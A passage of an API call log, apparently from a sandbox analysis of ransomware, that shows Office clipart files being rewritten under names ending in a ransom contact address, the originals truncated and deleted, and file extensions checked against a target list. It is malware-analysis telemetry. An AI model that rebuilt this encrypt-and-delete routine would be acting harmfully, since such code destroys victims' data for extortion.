	[0164.984] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=18728) returned 1
	[0164.984] CloseHandle (hObject=0x54c) returned 1
	[0164.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 0x220
	[0164.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0164.986] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.986] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0164.987] GetLastError () returned 0x0
	[0164.987] ReadFile (in: hFile=0x54c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x4928, lpOverlapped=0x0) returned 1
	[0164.989] WriteFile (in: hFile=0x504, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x4930, lpOverlapped=0x0) returned 1
	[0164.990] ReadFile (in: hFile=0x54c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.990] WriteFile (in: hFile=0x504, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.990] SetEndOfFile (hFile=0x504) returned 1
	[0164.991] CloseHandle (hObject=0x504) returned 1
	[0164.991] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.991] SetEndOfFile (hFile=0x54c) returned 1
	[0164.998] CloseHandle (hObject=0x54c) returned 1
	[0164.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 1
	[0165.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0165.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0165.148] lstrlenW (lpString=".doc") returned 4
	[0165.148] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.149] lstrlenW (lpString=".docx") returned 5
	[0165.149] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0165.149] lstrlenW (lpString=".pdf") returned 4
	[0165.149] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.149] lstrlenW (lpString=".xls") returned 4
	[0165.149] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.149] lstrlenW (lpString=".xlsx") returned 5
	[0165.149] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0165.149] lstrlenW (lpString=".ppt") returned 4
	[0165.149] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0165.149] lstrlenW (lpString=".zip") returned 4
	[0165.149] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.149] lstrlenW (lpString=".rar") returned 4
	[0165.149] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.149] lstrlenW (lpString=".bz2") returned 4
	[0165.149] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.149] lstrlenW (lpString=".7z") returned 3
	[0165.149] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0165.149] lstrlenW (lpString=".dbf") returned 4
	[0165.149] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0165.149] lstrlenW (lpString=".1cd") returned 4
	[0165.149] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0165.149] lstrlenW (lpString=".jpg") returned 4
	[0165.149] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0165.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0165.149] lstrlenW (lpString=".doc") returned 4
	[0165.149] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.149] lstrlenW (lpString=".docx") returned 5
	[0165.149] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0165.149] lstrlenW (lpString=".pdf") returned 4
	[0165.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.150] lstrlenW (lpString=".xls") returned 4
	[0165.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.150] lstrlenW (lpString=".xlsx") returned 5
	[0165.150] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0165.150] lstrlenW (lpString=".ppt") returned 4
	[0165.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0165.150] lstrlenW (lpString=".zip") returned 4
	[0165.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.150] lstrlenW (lpString=".rar") returned 4
	[0165.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.150] lstrlenW (lpString=".bz2") returned 4
	[0165.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.150] lstrlenW (lpString=".7z") returned 3
	[0165.150] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0165.150] lstrlenW (lpString=".dbf") returned 4
	[0165.150] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0165.150] lstrlenW (lpString=".1cd") returned 4
	[0165.150] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0165.150] lstrlenW (lpString=".jpg") returned 4
	[0165.150] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.150] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0165.150] lstrlenW (lpString="J0105506.WMF") returned 12
	[0165.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0165.861] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=2912) returned 1
	[0165.861] CloseHandle (hObject=0x538) returned 1
	[0165.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 0x220
	[0165.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0166.121] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.121] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0166.122] GetLastError () returned 0x0
	[0166.122] ReadFile (in: hFile=0x43c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0xb60, lpOverlapped=0x0) returned 1
	[0166.124] WriteFile (in: hFile=0x48c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xb70, lpOverlapped=0x0) returned 1
	[0166.125] ReadFile (in: hFile=0x43c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.125] WriteFile (in: hFile=0x48c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.125] SetEndOfFile (hFile=0x48c) returned 1
	[0166.125] CloseHandle (hObject=0x48c) returned 1
	[0166.125] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.125] SetEndOfFile (hFile=0x43c) returned 1
	[0166.128] CloseHandle (hObject=0x43c) returned 1
	[0166.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0166.128] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 1
	[0166.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0166.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0166.129] lstrlenW (lpString=".doc") returned 4
	[0166.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.129] lstrlenW (lpString=".docx") returned 5
	[0166.129] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0166.129] lstrlenW (lpString=".pdf") returned 4
	[0166.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.129] lstrlenW (lpString=".xls") returned 4
	[0166.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.129] lstrlenW (lpString=".xlsx") returned 5
	[0166.129] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0166.129] lstrlenW (lpString=".ppt") returned 4
	[0166.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0166.129] lstrlenW (lpString=".zip") returned 4
	[0166.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.129] lstrlenW (lpString=".rar") returned 4
	[0166.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.130] lstrlenW (lpString=".bz2") returned 4
	[0166.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.130] lstrlenW (lpString=".7z") returned 3
	[0166.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0166.130] lstrlenW (lpString=".dbf") returned 4
	[0166.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0166.130] lstrlenW (lpString=".1cd") returned 4
	[0166.130] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0166.130] lstrlenW (lpString=".jpg") returned 4
	[0166.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0166.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0166.130] lstrlenW (lpString=".doc") returned 4
	[0166.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.130] lstrlenW (lpString=".docx") returned 5
	[0166.130] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0166.130] lstrlenW (lpString=".pdf") returned 4
	[0166.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.130] lstrlenW (lpString=".xls") returned 4
	[0166.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.130] lstrlenW (lpString=".xlsx") returned 5
	[0166.130] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0166.130] lstrlenW (lpString=".ppt") returned 4
	[0166.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0166.130] lstrlenW (lpString=".zip") returned 4
	[0166.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.130] lstrlenW (lpString=".rar") returned 4
	[0166.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.130] lstrlenW (lpString=".bz2") returned 4
	[0166.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.130] lstrlenW (lpString=".7z") returned 3
	[0166.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0166.131] lstrlenW (lpString=".dbf") returned 4
	[0166.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0166.131] lstrlenW (lpString=".1cd") returned 4
	[0166.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0166.131] lstrlenW (lpString=".jpg") returned 4
	[0166.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.131] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0166.131] lstrlenW (lpString="J0106146.WMF") returned 12
	[0166.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0166.132] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=23548) returned 1
	[0166.132] CloseHandle (hObject=0x43c) returned 1
	[0166.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 0x220
	[0166.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0166.132] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.132] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0166.133] GetLastError () returned 0x0
	[0166.133] ReadFile (in: hFile=0x43c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x5bfc, lpOverlapped=0x0) returned 1
	[0166.135] WriteFile (in: hFile=0x48c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x5c00, lpOverlapped=0x0) returned 1
	[0166.136] ReadFile (in: hFile=0x43c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.136] WriteFile (in: hFile=0x48c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.137] SetEndOfFile (hFile=0x48c) returned 1
	[0166.137] CloseHandle (hObject=0x48c) returned 1
	[0166.137] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.137] SetEndOfFile (hFile=0x43c) returned 1
	[0166.139] CloseHandle (hObject=0x43c) returned 1
	[0166.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0166.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 1
	[0166.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0166.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0166.140] lstrlenW (lpString=".doc") returned 4
	[0166.140] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.140] lstrlenW (lpString=".docx") returned 5
	[0166.140] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0166.141] lstrlenW (lpString=".pdf") returned 4
	[0166.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.141] lstrlenW (lpString=".xls") returned 4
	[0166.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.141] lstrlenW (lpString=".xlsx") returned 5
	[0166.141] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0166.141] lstrlenW (lpString=".ppt") returned 4
	[0166.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0166.141] lstrlenW (lpString=".zip") returned 4
	[0166.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.141] lstrlenW (lpString=".rar") returned 4
	[0166.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.141] lstrlenW (lpString=".bz2") returned 4
	[0166.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.141] lstrlenW (lpString=".7z") returned 3
	[0166.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0166.141] lstrlenW (lpString=".dbf") returned 4
	[0166.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0166.141] lstrlenW (lpString=".1cd") returned 4
	[0166.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0166.141] lstrlenW (lpString=".jpg") returned 4
	[0166.141] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0166.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0166.141] lstrlenW (lpString=".doc") returned 4
	[0166.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.141] lstrlenW (lpString=".docx") returned 5
	[0166.141] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0166.141] lstrlenW (lpString=".pdf") returned 4
	[0166.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.141] lstrlenW (lpString=".xls") returned 4
	[0166.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.141] lstrlenW (lpString=".xlsx") returned 5
	[0166.142] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0166.142] lstrlenW (lpString=".ppt") returned 4
	[0166.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0166.142] lstrlenW (lpString=".zip") returned 4
	[0166.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.142] lstrlenW (lpString=".rar") returned 4
	[0166.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.142] lstrlenW (lpString=".bz2") returned 4
	[0166.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.142] lstrlenW (lpString=".7z") returned 3
	[0166.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0166.142] lstrlenW (lpString=".dbf") returned 4
	[0166.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0166.142] lstrlenW (lpString=".1cd") returned 4
	[0166.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0166.142] lstrlenW (lpString=".jpg") returned 4
	[0166.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.142] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0166.142] lstrlenW (lpString="J0106208.WMF") returned 12
